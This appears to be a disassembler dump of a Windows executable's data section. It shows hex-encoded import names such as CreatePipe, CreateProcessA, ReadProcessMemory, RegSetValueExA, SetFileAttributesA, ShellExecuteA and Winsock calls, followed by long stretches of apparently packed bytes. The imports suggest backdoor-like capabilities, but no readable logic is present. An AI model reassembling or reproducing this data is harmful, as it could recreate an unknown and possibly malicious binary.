		dd 22202620h, 222222h, 22222220h, 222222h, 22000000h, 5	dup(22222222h)
		db 2 dup(22h), 2
byte_3F2B6F	db 0			; DATA XREF: start:loc_3EA149o
		dd offset dword_412118
		dd 4356534Dh, 642E5452h, 5F006C6Ch, 616F7469h, 74735F00h
		dd 63696E72h, 5F00706Dh, 54787843h, 776F7268h, 65637845h
		dd 6F697470h, 3F3F006Eh, 70797431h, 6E695F65h, 40406F66h
		dd 40454155h, 5F005A58h, 7878435Fh, 6D617246h, 6E614865h
		dd 72656C64h, 73626D00h, 63776F74h, 74730073h, 61636E72h
		dd 63770074h, 79706373h, 73637700h, 6E656Ch, 63727473h
		dd 6D007970h, 6F6D6D65h, 5F006576h, 72746F72h, 6F725F00h
		dd 5F006C74h, 706E7376h, 746E6972h, 656D0066h, 706D636Dh
		dd 6C6F7400h, 7265776Fh, 72747300h, 706D63h, 6E697270h
		dd 3F006674h, 5940323Fh, 58415041h, 5A4049h, 40333F3Fh
		dd 50584159h, 5A405841h, 70737600h, 746E6972h, 625F0066h
		dd 6E696765h, 65726874h, 78656461h, 78655F00h, 74706563h
		dd 6E61685Fh, 72656C64h, 65630033h, 5F006C69h, 6C6F7466h
		dd 69786500h, 65720074h, 6F6C6C61h, 74730063h, 6D636E72h
		dd 735F0070h, 6972706Eh, 66746Eh, 73727473h, 73007274h
		dd 6E616373h, 74610066h, 6600696Fh, 6B656573h, 65726600h
		dd 66006461h, 6E65706Fh, 6C636600h, 65736Fh, 69727766h
		dd 66006574h, 6C6C6574h, 72747300h, 746163h, 736D656Dh
		dd 63007465h, 6B636F6Ch, 72707300h, 66746E69h, 72747300h
		dd 7970636Eh, 6D656D00h, 797063h, 65657266h, 6C616D00h
		dd 636F6Ch, 6C727473h, 5F006E65h, 63727473h, 69706Dh, 41220800h
		dd 32535700h, 2E32335Fh, 6C6C64h, 4FFh,	97FFh, 16FFh, 12FFh
		dd 15FFh, 2FFh,	13FFh, 5FFh, 0AFFh, 17FFh, 0CFFh, 33FFh
		dd 6FFFh, 1FFh,	3FFh, 70FFh, 9FFh, 34FFh, 6FFh,	0BFFh
		dd 10FFh, 8FFh,	14FFh, 74FFh, 11FFh, 49415357h,	6C74636Fh
		dd 39FF00h, 73FF00h, 0DFF00h, 20300000h, 454B0041h, 4C454E52h
		dd 642E3233h, 47006C6Ch, 6F437465h, 7475706Dh, 614E7265h
		dd 41656Dh, 56746547h, 69737265h, 78456E6Fh, 65470041h
		dd 636F4C74h, 49656C61h, 416F666Eh, 74655300h, 72727543h
		dd 44746E65h, 63657269h, 79726F74h, 736C0041h, 656C7274h
		dd 4700416Eh, 69577465h, 776F646Eh, 72694473h, 6F746365h
		dd 417972h, 61657243h, 69466574h, 41656Ch, 46746547h, 54656C69h
		dd 656D69h, 46746553h, 54656C69h, 656D69h, 53746547h, 65747379h
		dd 7269446Dh, 6F746365h, 417972h, 746C754Dh, 74794269h
		dd 576F5465h, 43656469h, 726168h, 64616F4Ch, 7262694Ch
		dd 41797261h, 74654700h, 636F7250h, 72646441h, 737365h
		dd 74697845h, 636F7250h, 737365h, 79706F43h, 656C6946h
		dd 65470041h, 73614C74h, 72724574h, 5700726Fh, 65746972h
		dd 656C6946h, 61655300h, 50686372h, 41687461h, 65724300h
		dd 50657461h, 657069h, 626F6C47h, 654D6C61h, 79726F6Dh
		dd 74617453h, 44007375h, 696C7075h, 65746163h, 646E6148h
		dd 4300656Ch, 74616572h, 6F725065h, 73736563h, 65500041h
		dd 614E6B65h, 5064656Dh, 657069h, 45746547h, 43746978h
		dd 5065646Fh, 65636F72h, 52007373h, 46646165h, 656C69h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 74654700h
		dd 75646F4Dh, 6946656Ch, 614E656Ch, 41656Dh, 6E65704Fh
		dd 636F7250h, 737365h, 64616552h, 636F7250h, 4D737365h
		dd 726F6D65h, 6C530079h, 706565h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 6F6C4300h, 61486573h, 656C646Eh
		dd 74655300h, 656C6946h, 72747441h, 74756269h, 417365h
		dd 61636F4Ch, 6572466Ch, 65440065h, 6574656Ch, 656C6946h
		dd 72430041h, 65746165h, 65726854h, 55006461h, 70616D6Eh
		dd 77656956h, 6946664Fh, 4D00656Ch, 69567061h, 664F7765h
		dd 656C6946h, 65724300h, 46657461h, 4D656C69h, 69707061h
		dd 41676Eh, 44746547h, 466B7369h, 53656572h, 65636170h
		dd 417845h, 44746547h, 65766972h, 65707954h, 65470041h
		dd 63695474h, 756F436Bh, 5100746Eh, 79726575h, 66726550h
		dd 616D726Fh, 4665636Eh, 75716572h, 79636E65h, 65755100h
		dd 65507972h, 726F6672h, 636E616Dh, 756F4365h, 7265746Eh
		dd 42734900h, 6F436461h, 74506564h, 65540072h, 6E696D72h
		dd 54657461h, 61657268h, 6E490064h, 61697469h, 657A696Ch
		dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 65746E45h
		dd 69724372h, 61636974h, 6365536Ch, 6E6F6974h, 74654700h
		dd 72727543h, 50746E65h, 65636F72h, 64497373h, 61654C00h
		dd 72436576h, 63697469h, 65536C61h, 6F697463h, 6547006Eh
		dd 72754374h, 746E6572h, 636F7250h, 737365h, 45746553h
		dd 726F7272h, 65646F4Dh, 65724300h, 4D657461h, 78657475h
		dd 736C0041h, 70637274h, 6C004179h, 63727473h, 416E7970h
		dd 74654700h, 69766E45h, 6D6E6F72h, 56746E65h, 61697261h
		dd 41656C62h, 74736C00h, 706D6372h, 0EC000041h,	55004121h
		dd 33524553h, 6C642E32h, 7377006Ch, 6E697270h, 416674h
		dd 57746547h, 6F646E69h, 78655477h, 47004174h, 6F467465h
		dd 72676572h, 646E756Fh, 646E6957h, 4600776Fh, 57646E69h
		dd 6F646E69h, 53004177h, 4D646E65h, 61737365h, 416567h
		dd 68437349h, 6C417261h, 4E616870h, 72656D75h, 416369h
		dd 41200000h, 56444100h, 33495041h, 6C642E32h, 6552006Ch
		dd 65704F67h, 79654B6Eh, 417845h, 44676552h, 74656C65h
		dd 6C615665h, 416575h, 45676552h, 566D756Eh, 65756C61h
		dd 65520041h, 65755167h, 61567972h, 4565756Ch, 52004178h
		dd 65536765h, 6C615674h, 78456575h, 65520041h, 65724367h
		dd 4B657461h, 78457965h, 65470041h, 65735574h, 6D614E72h
		dd 43004165h, 74707972h, 656C6552h, 43657361h, 65746E6Fh
		dd 43007478h, 74707972h, 526E6547h, 6F646E61h, 7243006Dh
		dd 41747079h, 69757163h, 6F436572h, 7865746Eh, 52004174h
		dd 6C436765h, 4B65736Fh, 7965h,	4121E4h, 4C454853h, 2E32334Ch
		dd 6C6C64h, 6C656853h, 6578456Ch, 65747563h, 0DC000041h
		dd 4F004121h, 5541454Ch, 2E323354h, 6C6C64h, 0C8FFh, 0
		dd 6BFA00h, 9D00h, 1800h, 700h,	0D00h, 10E00h, 9F100h
		dd 17D00h, 2600h, 6C500h, 92700h, 7400h, 181400h, 131100h
		dd 77D00h, 0DE00h, 9AE00h, 48E00h, 8DA00h, 4A00h, 65600h
		dd 22C00h, 50E8FF00h, 858D5968h, 0C483566Ah, 5775FF74h
		dd 458D5375h, 15FFC085h, 840FC3EBh, 8B45895Eh, 5FE95545h
		dd 0EC8B76FFh, 5BC9C033h, 8BF88351h, 72850FF0h,	403D3BBFh
		dd 8BB5FFBEh, 0EC81B875h, 0DB335D89h, 0CC767D83h, 0D6FFh
		dd 0F88BF685h, 468DD233h, 0FF5D3958h, 0C7C33B74h, 858B7345h
		dd 25FFC083h, 5D7D89C2h, 8B7589A3h, 8B868D4Dh, 0FF33BB46h
		dd 0F6337D8Bh, 0FF4D8D7Ch, 448B4645h, 30FFD88Bh, 0C68BFF85h
		dd 39BD8077h, 8DF33B45h, 65834884h, 0A141D8F7h,	0F7448DB9h
		dd 83D7FFF1h, 0F0473DECh, 0C73BC933h, 0F9805D8Bh, 0B6FFBD83h
		dd 85FB3BF3h, 0C0B60FDBh, 7D805D03h, 0FE83C683h, 0E6C1748Bh
		dd 9C8DC01Bh, 70FFE9C1h, 46897503h, 0EAC1D98Bh,	8B5D8899h
		dd 8BC18B76h, 0F45C6CAh, 0AB7F05C1h, 7D39C703h,	0C084FA80h
		dd 88B5589h, 0E3C1358Bh, 42C0B70Fh, 0C88B5D38h,	0B48DF18Bh
		dd 0AA7EBD8Dh, 0FE3B4D03h, 0C1837883h, 0F78BF983h, 0E7C1488Dh
		dd 35FFEFC1h, 0D103A53Ch, 0C83B452Bh, 0C78BFB83h, 0FE8BDE8Bh
		dd 36FFE1C1h, 88388052h, 8B9D8845h, 8B7C8B06h, 0F7EEC1F9h
		dd 0F51FFD3h, 7D49C094h, 860F5503h, 8588053Bh, 3D8B4D89h
		dd 478B408Bh, 0BC8D4C8Bh, 4C7EBC1h, 0FFE0364h, 80453B83h
		dd 833D8365h, 8A8D89E1h, 8B558B04h, 0C18C8DCEh,	0F71CDDE2h
		dd 0FB0FFD6h, 0B4345B6h, 39870FCBh, 393D391Dh, 80AB6655h
		dd 83F98124h, 84C7837Ch, 898589C9h, 8B548B86h, 8BDA8BD6h
		dd 0C1948DF3h, 0FFF3F7E8h, 0BC60337h, 0BD60BCAh, 0BF30BD9h
		dd 39FB0BF7h, 3B753958h, 803D80C6h, 84FF837Ch, 880488D2h
		dd 8A0C8A18h, 2A1A1685h, 2BDA2C0Ch, 0A290612h, 512614BFh
		dd 0D00010Dh, 0D070001h, 0C0D0501h, 0D0F0901h, 104012Bh
		dd 0C0D010Dh, 1430401h,	61090C43h, 0B2D0B0Eh, 1090409h
		dd 80E0700h, 0F090104h,	0D4D0B0Eh, 104014Dh, 0C0D010Dh
		dd 1430401h, 9100943h, 143D150Fh, 211839FFh, 1D151318h
		dd 1A16111Ch, 28060C2Ah, 0F06020Ah, 0F06120Eh, 47000206h
		dd 330C06h, 230B8707h, 1060A04h, 10400h, 0F8080E07h, 100B5908h
		dd 4010A58h, 4070001h, 4000201h, 7000C01h, 1C1D1318h, 2A1A1611h
		dd 1090402h, 7000900h, 1040855h, 204513Ch, 0C070001h, 2C200006h
		dd 20A1257h, 1E39FF00h,	2B2B1403h, 488E0FFFh, 4E8BFF0Fh
		dd 120439FFh, 0C010204h, 460F010Fh, 104015Fh, 30E0300h
		dd 0FFFF4612h, 0F6FFFE34h, 3D0C76D8h, 14390F01h, 8B2B3412h
		dd 0FF873A46h, 2BFF488Bh, 0BE54DFCAh, 0FF1E4CC0h, 909C203h
		dd 0E0F0901h, 66123712h, 3AFFCE15h, 0FFF0885h, 0FFFD0BEh
		dd 8DFF85BEh, 0D33BFF58h, 3BFF3D08h, 14040BD0h,	15145F15h
		dd 0FA108AFFh, 8AFF1508h, 0D03AFF00h, 0BE0FFF08h, 0BE0FFFC0h
		dd 588DFFD2h, 8D33BFFh,	0D03BFF3Dh, 104D4D0Bh, 2BFF5C15h
		dd 102EA685h, 0C803FF15h, 0BC985FFh, 0FFBA46CFh, 88B543Bh
		dd 554D172Ch, 0FF0F0208h, 46CA5D8Ah, 13D5187h, 2040104h
		dd 7F070001h, 0F090510h, 15F46h, 0F42C3C03h, 92C100Bh
		dd 81FF4D0Fh, 3BFF15C7h, 8C0FFF06h, 60F0910h, 55000900h
		dd 8180303h, 4370F02h, 2040B01h, 10070001h, 1020409h, 270700h
		dd 1D1B1303h, 0A063F1Ch, 0A0852B2h, 8030E00h, 3200002h
		dd 0FF0C0832h, 0FF0A5C8Ah, 7B005E88h, 10A35C5h,	1453800h
		dd 0FF290700h, 0B1DDB84h, 2010A29h, 20605h, 11131807h
		dd 1F8D065Dh, 5D300108h, 3001081Fh, 1081F5Dh, 81F5D30h
		dd 11133001h, 62A1A16h,	0BE80FF28h, 0BE80FF0Bh,	0FF0F0508h
		dd 8BE80h, 63052BFFh, 0BE80FF3Bh, 2BFF0008h, 226305h, 8AFF4244h
		dd 0A208A201h, 1E040208h, 10070001h, 10204h, 1040303h
		dd 3030006h, 16111C13h,	60C2A1Ah, 409020Ah, 90001h, 2DFF0007h
		dd 604424Ah, 2060201h, 120E0F06h, 0BF1D0D05h, 3A0D0106h
		dd 2B010D01h, 120E6143h, 0D01060Dh, 61010D01h, 5BF120Eh
		dd 61020606h, 1610901h,	5120E0Fh, 1060Dh, 0A180D05h, 15000106h
		dd 14151407h, 1400D14h,	606010Dh, 6060C06h, 3A010204h
		dd 758966FFh, 9120E0Fh,	91561BFh, 15421542h, 433C6142h
		dd 217039FFh, 40A4723h,	7000106h, 106060Dh, 0A1010A04h
		dd 0F5120E0Fh, 12B0D0Bh, 80E0FA1h, 0F052137h, 2EF51B10h
		dd 8BC80FFh, 4022C925h,	106040Ah, 60D0700h, 1040901h, 80E0FA1h
		dd 1040104h, 3C030300h,	127039FFh, 10142510h, 10204h, 1020410h
		dd 30300h, 18030027h, 1C1D1B13h, 1E1A163Fh, 14030009h
		dd 11E054Ch, 5B0FA109h,	111C5B76h, 0C151A16h, 38FF062Ch
		dd 37080A98h, 0C0C0C12h, 0F0C0209h, 20000210h, 49085703h
		dd 3502086Dh, 700010Ah,	14509h,	5020303h, 7000206h, 0A02086Dh
		dd 7000A00h, 9020B0Eh, 18030300h, 11411D13h, 62A1A16h
		dd 1040902h, 7000900h, 40F0104h, 4A000102h, 1403F603h
		dd 1000270Bh, 1060402h,	7000104h, 90B14F6h, 3002700h, 0C171B03h
		dd 4010A04h, 4513C01h, 7000102h, 1D8BFF00h, 26140643h
		dd 9010604h, 33D3FFFFh,	54990852h, 97D01FFh, 50D140Fh
		dd 9000901h, 1050A04h, 22990700h, 5219A3Ch, 9010604h, 3000910h
		dd 0B560020h, 53145900h, 0F7FF7E5Eh, 0DBFF14F9h, 5DD9FF45h
		dd 1E1EA500h, 45DBFF14h, 0FF0DD8FFh, 0D37DD8h, 141E1EA5h
		dd 45DBFF04h, 0D30DD8FFh, 4010401h, 7000102h, 90009h, 1B070027h
		dd 1C131D18h, 2A1A163Fh, 20A060Ch, 10409h, 1040009h, 0F6074A00h
		dd 0BC80FF08h, 40B5908h, 4015810h, 0D030001h, 0D013A03h
		dd 0F010001h, 4060605h,	0D090102h, 80E0F01h, 0D100027h
		dd 2020105h, 1030300h, 1050D00h, 99073300h, 2040840h, 3500001h
		dd 3DE3BFFh, 27000A0Bh,	17030300h, 0C0605h, 606000Ch, 700140Ch
		dd 1040104h, 10204h, 1090D07h, 10F0104h, 104010Fh, 10204h
		dd 7000A02h, 1F1214F6h,	4010412h, 4513C01h, 102h, 60C1426h
		dd 10504h, 8523307h, 0A045499h,	7000901h, 2299080Eh, 0C219A3Ch
		dd 1050406h, 4100700h, 4010401h, 7000102h, 0B560010h, 15145900h
		dd 0F7FF7E5Eh, 0DBFF14F9h, 5DD9FF45h, 1E1EA500h, 45DBFF14h
		dd 0FF0DD8FFh, 0D37DD8h, 141E1EA5h, 45DBFF04h, 0D30DD8FFh
		dd 4010401h, 7000102h, 0C0009h,	270009h, 0C1007h, 27000Ah
		dd 1B131807h, 163F1C1Dh, 372C0C1Ah, 37120A06h, 37123712h
		dd 20000912h, 0FF125703h, 9D9FE81h, 6D033300h, 0FE81FF12h
		dd 200002D9h, 5085703h,	10935h,	1093502h, 9450200h, 45050001h
		dd 2000109h, 89FF0945h,	70001BEh, 0C020909h, 7000206h
		dd 411D1318h, 2D1A1611h, 82D0806h, 3200002h, 35050832h
		dd 2000109h, 10935h, 1094502h, 9090700h, 2060502h, 41130700h
		dd 2A1A1611h, 0A47060Ch, 909050Ch
		dd 32072000h, 23091243h, 0A020904h, 1040001h, 1040100h
		dd 40C0006h, 6010Ah, 120E1407h,	204121Fh, 3200001h, 4120332h
		dd 720102h, 12030E03h, 4C5AD9F6h, 1021Eh, 44211F07h, 12C985FFh
		dd 0FF9C082Dh, 66FF820Fh, 15213E81h, 89FF080Eh,	0E000908h
		dd 9022103h, 0E140300h,	94A0B03h, 17530300h, 2BFF1501h
		dd 50158C6h, 2BFF0006h,	0FF070475h, 1FFF02Bh, 80E1575h
		dd 40C0B9Ah, 9010Ah, 8320720h, 3BFF0873h, 6540975h, 10504h
		dd 7529FF07h, 3001008h,	3000917h, 9171305h, 3000900h, 100F0903h
		dd 61009h, 13181B03h, 1B111C1Dh, 2A1A1611h, 20A060Ch, 10409h
		dd 1040009h, 0FF000104h, 1B07158Ah, 88FF0595h, 88FF0395h
		dd 0DD866C95h, 31B0597h, 0DD866C95h, 12C0497h, 3A3C0104h
		dd 204512Bh, 4050001h, 7000102h, 0C040B0Eh, 0F010401h
		dd 1F0F210Eh, 3C01040Bh, 4170251h, 2513C01h, 10417h, 8732003h
		dd 8BC80FFh, 0FF104EFFh, 18059C38h, 848AFF08h, 0A208A2D1h
		dd 0FF85A24Bh, 8AFF4488h, 3AFF6444h, 0FF0D0BC3h, 15C88h
		dd 0C708030Eh, 1580158h, 33A0300h, 1020405h, 0B0E0700h
		dd 20D0B37h, 3030001h, 1040104h, 33A0300h, 2040517h, 0E070001h
		dd 0D0B370Bh, 3000102h,	4010403h, 4260001h, 3A0106h, 10604h
		dd 4051007h, 7000102h, 0B37210Eh, 1020Dh, 1040303h, 3000104h
		dd 104033Ah, 73200300h,	0BC80FF08h, 104EFF08h, 0FF010204h
		dd 3009C88h, 8230339h, 10A25FCh, 7000104h, 4010A04h, 1580001h
		dd 7000104h, 10204h, 3570320h, 2513C0Bh, 4013517h, 0FF040001h
		dd 4011E88h, 70001h, 0B2B142Dh,	0FF911B27h, 1C0950Fh, 104010Dh
		dd 10D0104h, 1040104h, 7000104h, 270B2D14h, 0FFF911Bh
		dd 0D01C095h, 4010401h,	4010D01h, 4010401h, 14070001h
		dd 1B270B2Dh, 950FFF91h, 10D01C0h, 1040104h, 104010Dh
		dd 2D140700h, 29089121h, 0B299110h, 0EA150129h,	0DFFF2B14h
		dd 5DD9FF6Dh, 1E2BA500h, 0FF04141Eh, 0D8FF6DDFh, 7DD8FF0Dh
		dd 513C01D3h, 10204h, 4089107h,	91100F01h, 1B08910Bh, 0C01B791h
		dd 2010C04h, 2E1F0F0Ch,	10000891h, 513C0104h, 1041002h
		dd 402513Ch, 27070001h,	3C100300h, 1040251h, 7002700h
		dd 1D1B1318h, 1A163F1Ch, 12062D62h, 3200002h, 5051232h
		dd 1050D05h, 6480FF00h,	1020Dh,	0D0B2D07h, 230A0C14h, 0A5E8DFFh
		dd 0A000C09h, 10945h, 14509h, 0C014507h, 2060502h, 1D180700h
		dd 16111C13h, 60C2A1Ah,	2050Ah,	3DB4828h, 0FF125003h, 2329168Bh
		dd 0A60A8BFFh, 8DF0854h, 0BDF08DFh, 2 dup(10231023h), 2EDF22DFh
		dd 0BDF08DFh, 10231023h, 7A83FF23h, 0FF08BAFFh,	0AAD46BAh
		dd 0D5D5D51Eh, 0D5D5D5D5h, 0FFD5D5D5h, 901438Dh, 20209h
		dd 0A7D74807h, 89AB108h, 0B3881FFh, 86FFFF80h, 18C883FFh
		dd 111C1D13h, 4103605h,	0F0A0102h, 80E0F01h, 0A040A0Ah
		dd 0F0A0201h, 1002541Fh, 0A030002h, 621A160Fh, 490A060Ch
		dd 0C1086D2Ch, 81F0839h, 1FC11026h, 26081F08h, 17530F06h
		dd 52137h, 12570320h, 60C05h, 0C1D0D05h, 7000105h, 0C766FF2Dh
		dd 90845h, 0FF0F0103h, 52458966h, 846C7FFh, 360510C1h
		dd 0C1087B52h, 7B360510h, 1E0C354Ch, 7B5E89FFh,	1500015Ah
		dd 3089FF07h, 390F0917h, 48C00814h, 1839FF40h, 103D6408h
		dd 290B406Dh, 348DFF17h, 39000675h, 50B1403h, 1736050Fh
		dd 10C06h, 10C0D05h, 0FF370700h, 845C766h, 1030009h, 8966FF0Fh
		dd 152E5245h, 15708DFFh, 8BFF080Eh, 36051000h, 7E8DFF44h
		dd 0FFC985FFh, 0C7FF0789h, 8BFF0846h, 36051041h, 0FFC985FFh
		dd 0FF080689h, 510418Bh, 7B05CF36h, 89FF3503h, 8BFF7B4Eh
		dd 0FF4C1E52h, 11E148Bh, 8B128BFFh, 86E0700h, 0D77E89FFh
		dd 5D3BFF72h, 0FF441522h, 181B0889h, 3F1C1D13h,	0C2A1A16h
		dd 88480A06h, 6808880Bh, 0FFC3F7FFh, 0CEFFFFCEh, 26FF38FFh
		dd 173127FFh, 8366FF28h, 1726083Eh, 72191288h, 0FF0B670Fh
		dd 2317C883h, 104010Ah,	0F6FF0700h, 0F6FF0BC3h,	50508C3h
		dd 32200F06h, 2500AC08h, 0A54C903h, 1AC04h, 0F6FF1007h
		dd 63B108C3h, 100B0E08h, 104100Fh, 0C9032500h, 0D082D54h
		dd 0FF150105h, 1408B66h, 18F0Fh, 700010Dh, 262EC925h, 10530F06h
		dd 9010Dh, 82D0303h, 90104h, 181B0303h,	3F1C1D13h, 3808E0h
		dd 0A063F03h, 8D6102BFh, 102080Eh, 20C4230h, 86E5061h
		dd 2300C02h, 7 dup(230420Ch), 4230420Ch, 6E506102h, 300C0208h
		dd 3 dup(30420C02h), 50610242h,	2300C02h, 230420Ch, 0CB30420Ch
		dd 0CB081D42h, 0FF0B0E08h, 0C7FF05C7h, 5C7FF05h, 80E6102h
		dd 42300102h, 80E6102h,	42300102h, 16111318h, 0C00291Ah
		dd 1040902h, 4000900h, 50000105h, 270B6E07h, 171B0300h
		dd 10A0406h, 204513Ch, 6260001h, 3307000Ch, 52219A3Ch
		dd 412F912h, 0A0102h, 1F120E07h, 10412h, 0F7D9031Fh, 1020D08h
		dd 10030300h, 10D010Dh,	0D00010Dh, 7000201h, 10204h, 104010Dh
		dd 1020400h, 10400h, 1040125h, 0A000Ah,	0A1007h, 0C0603h
		dd 0C170303h, 3002700h,	1318031Bh, 0C3F1C1Dh, 6E5C8BFFh
		dd 0C0806h, 470B030Eh, 3200002h, 50A0832h, 10C35h, 10A35B2h
		dd 8520700h, 8BF80FFh, 3605101Bh, 601020Ch, 18070002h
		dd 16111D13h, 26062A1Ah, 6020409h, 4070001h, 1050906h
		dd 130F0505h, 7406111Ch, 4F2E7334h, 0D1FF0AD0h,	0B70FFFE9h
		dd 0D703FF38h, 4EFF2525h, 0BB84EFFh, 324F1018h,	0FFF0813h
		dd 3FF00B6h, 81FF82D0h,	3FF78E2h, 0FFEA81CAh, 0F7FFC103h
		dd 1A1611D0h, 6590C15h,	8470A59h, 0B590859h, 3300050Ch
		dd 24FF0315h, 0F80BFF03h, 50C4910h, 75032000h, 3E781FFh
		dd 0C2810F2h, 3330005h,	0E681FF9Fh, 0FE0BFF03h,	50C4910h
		dd 81FF0300h, 0E0C1FFE7h, 0C70BFF03h, 411D1318h, 2380511h
		dd 3030002h, 11070001h,	2057406h, 0E070006h, 1336050Bh
		dd 6020511h, 80E0700h, 60205h, 5080E07h, 7000602h, 2513765Bh
		dd 0FF1BC211h, 25083C80h, 111B0B1Fh, 30E001Eh, 5546308h
		dd 1A161136h, 60D1E1Eh,	50D0001h, 7200001h, 36050B32h
		dd 0D020A10h, 20105h, 7003306h,	8F90852h, 3004A0Ah, 1C131853h
		dd 10130511h, 1000BCBh,	2050002h, 115D0700h, 5050506h
		dd 873200Fh, 1B030006h,	950FFF73h, 161113C0h, 61E1E1Ah
		dd 0D080E00h, 50D0001h,	7200001h, 101B0B32h, 50D020Ah
		dd 6000201h, 52070033h,	508F908h, 3000A13h, 1C131853h
		dd 16104A11h, 0D06621Ah, 0D000102h, 5020001h, 1020Dh, 1F080E07h
		dd 1130508h, 13530300h,	104A111Ch, 561B1A16h, 10D14B7h
		dd 410F0902h, 0D1A1611h, 0F090201h, 0FFF561Bh, 1141C095h
		dd 0D2A1A16h, 104013Ah,	0B1F0F09h, 5111C1Bh, 9020505h
		dd 0F010904h, 1C25765Bh, 2A1A1611h, 4013A0Dh, 1F0F0901h
		dd 111C1B0Bh, 2050505h,	1090409h, 25765B0Fh, 1A16111Ch
		dd 13A0D2Ah, 0F090104h,	1C1B0B1Fh, 27090511h, 18F0Fh
		dd 1C360507h, 2A1A1611h, 4013A0Dh, 1F0F0901h, 111C1B0Bh
		dd 0F270905h, 700018Fh,	111C3605h, 0D2A1A16h, 5050106h
		dd 0B0E0F09h, 5083228h,	2040505h, 0F191901h, 83FF0B0Eh
		dd 1080087Eh, 90104h, 3B0FF03h,	0FF0F0910h, 1C13C032h
		dd 621A1611h, 20A0Ch, 36D2C33h,	0C0D0512h, 1F89FF01h, 9F89FFh
		dd 765B0007h, 3A24FF3Ah, 0D142525h, 9010D01h, 210E0F0Ch
		dd 12572806h, 0F191919h, 4608A750h, 0B1F081Fh, 845F6FFh
		dd 501050Dh, 0F3A0C02h,	0F0C1919h, 0C05081Fh, 0C0B1F0Fh
		dd 0FF100300h, 89FF078Bh, 7FFFF5Ch, 83F81FFh, 2C213280h
		dd 39FF0F09h, 0A0B131Fh, 101B0300h, 1C1D18A8h, 2A1A1611h
		dd 28060C5Ah, 83FF3A0Ah, 8DFFBB3Eh, 9E8DFF7Eh, 0E00EC0Ch
		dd 138BFF08h, 0D285FF66h, 1F8BFF2Eh, 1839FF45h,	0FF3D5C08h
		dd 1022CA3Bh, 3BFF4AFFh, 0FF583BCAh, 0FF5C508Bh, 8BFF1089h
		dd 4AFF3D96h, 22CA3BFFh, 0D8EFFFFh, 0EC010401h,	4D211F0Fh
		dd 3BFF15E1h, 8DFF2206h, 39FF1BBEh, 89FF1406h, 8DFF2E07h
		dd 178BFF4Eh, 0D285FF5Ah, 8BFF452Eh, 1839FF19h,	0DC3D4D08h
		dd 3BFF1522h, 81FF0BC2h, 8BFF3BFAh, 9489FF11h, 4D07FFFFh
		dd 3BFF159Bh, 5E152206h, 34EB7C34h, 6015142Ch, 0C0C010Dh
		dd 69FFAC0Ah, 390F8BD2h, 1B0B1F12h, 1E39FF10h, 8DFF2E2Bh
		dd 0FFFF0A5Eh, 80E0033h, 0F39FF66h, 8BFF452Eh, 1039FF13h
		dd 0FF3D5C08h, 10220F3Bh, 59078BFFh, 0FF583BA6h, 0FF5C508Bh
		dd 8BFF1089h, 4AFF3D17h, 22CA3BFFh, 0D0FFFFFh, 0FF010401h
		dd 1F0F33FFh, 83FF4D0Bh, 3BFF15C3h, 83FF2206h, 1D1318C8h
		dd 60C111Ch, 0B10A2C74h, 8DFF2E0Eh, 1F08CB7Eh, 0B100EC54h
		dd 3BFFE1D7h, 0FF2203D8h, 6A683h, 1D131803h, 0FF740611h
		dd 254FE81h, 0B030E00h,	0FF11131Bh, 89FF6083h, 4F111330h
		dd 0FF488BFFh, 380B083Bh, 111B0300h, 5489FFE5h,	0FF40FFFFh
		dd 0FF34488Bh, 0FFF083Bh, 8BFFC295h, 740611C2h,	8BFF0A1Bh
		dd 0D285FF56h, 4E8DFF2Eh, 0FF398BFFh, 25087C3Bh, 0C23BFF9Bh
		dd 8BFF1022h, 0C13BFF4Eh, 89FFB822h, 69FF924Eh,	0CA03FFC9h
		dd 8DFF1EABh, 11E5F4Ch,	0FFFF0700h, 1113184Eh, 1E1E1A16h
		dd 0F42C0C15h, 0FF888DFFh, 0FF2B5889h, 62E1989h, 708DFF0Ah
		dd 2B398BFFh, 8DFF2E6Dh, 1E8BFF90h, 81A39FFh, 0C283FF4Dh
		dd 0CF2C2288h, 0BD73BFFh, 3BFF81FFh, 0FF3E8BFFh, 0FFFFBC89h
		dd 72CF4D01h, 22503BFFh, 2B0D1318h, 0C1E0C01h, 390F3A0Ch
		dd 5081F08h, 1D1B1036h,	160C111Ch, 0FF0A7406h, 3BFF7E8Bh
		dd 8DFF3B7Eh, 5C8DFFAEh, 33FFFF16h, 640B0E00h, 0FFC383FFh
		dd 1B227E3Bh, 1D411318h, 478DFF11h, 0C104F7Bh, 0FF740616h
		dd 0FF2CED33h, 0A2E6E39h, 0EC7E8DFFh, 2F89FF00h, 3BFFE1D7h
		dd 1822035Eh, 0FF6E89FFh, 89FF6E89h, 1D4113AEh,	38003811h
		dd 11030300h, 5621A16h,	1050Dh,	45F6FF07h, 0FF103A08h
		dd 0FF45BE0Fh, 0D1FFE083h, 0F6FF14E0h, 0FF360545h, 25C0950Fh
		dd 0D010D14h, 0F090901h, 1C1B080Eh, 0A280611h, 19190832h
		dd 0F9330F19h, 0A0508h,	19190303h, 0B1F0F0Ah, 0A08630Fh
		dd 10800300h, 0A80F0948h, 111C1318h, 152A1A16h,	7E065E0Ch
		dd 0F7FF2C93h, 140C05FEh, 0F7FF7E15h, 0FF010DF9h, 8BD269h
		dd 45F6FF07h, 0FF103A08h, 0FF45BE0Fh, 0D1FFE083h, 0F6FF14E0h
		dd 0FF360545h, 25C0950Fh, 0D010D14h, 0F090901h,	171B080Eh
		dd 12570A28h, 0F191919h, 0C12F933h, 303000Ah, 0F0A1919h
		dd 630F080Eh, 89FF0D0Bh, 0C0401BDh, 0FF0C0C01h,	1F0F85C7h
		dd 958BFF08h, 0D33BFF66h, 39FF042Eh, 3D5C0838h,	22CA3BFFh
		dd 0FF4AFF10h, 583BCA3Bh, 5C508BFFh, 0FF1089FFh, 0FF3D958Bh
		dd 0CA3BFF4Ah, 8DFFFF22h, 8003000Ah, 0A0517h, 48100303h
		dd 18A80F09h, 111C1D13h, 20F3805h, 300380Fh, 110F3811h
		dd 38383805h, 7406110Fh, 0B2220A73h, 0A010535h,	80E0F38h
		dd 22F6081Fh, 83FF0F02h, 18DE10C8h, 1A161113h, 3000909h
		dd 410B030Eh, 9090911h,	11410700h, 291A16h, 340C5E15h
		dd 34EB067Ch, 1349050Ah, 0FFBD89FFh, 89FFB589h,	0B589FFBDh
		dd 0D601514h, 4010401h,	0FF060105h, 0F8BD269h, 101B08F6h
		dd 0A0104h, 185B765Bh, 111C1D13h, 291A16h, 20A060Ch, 10409h
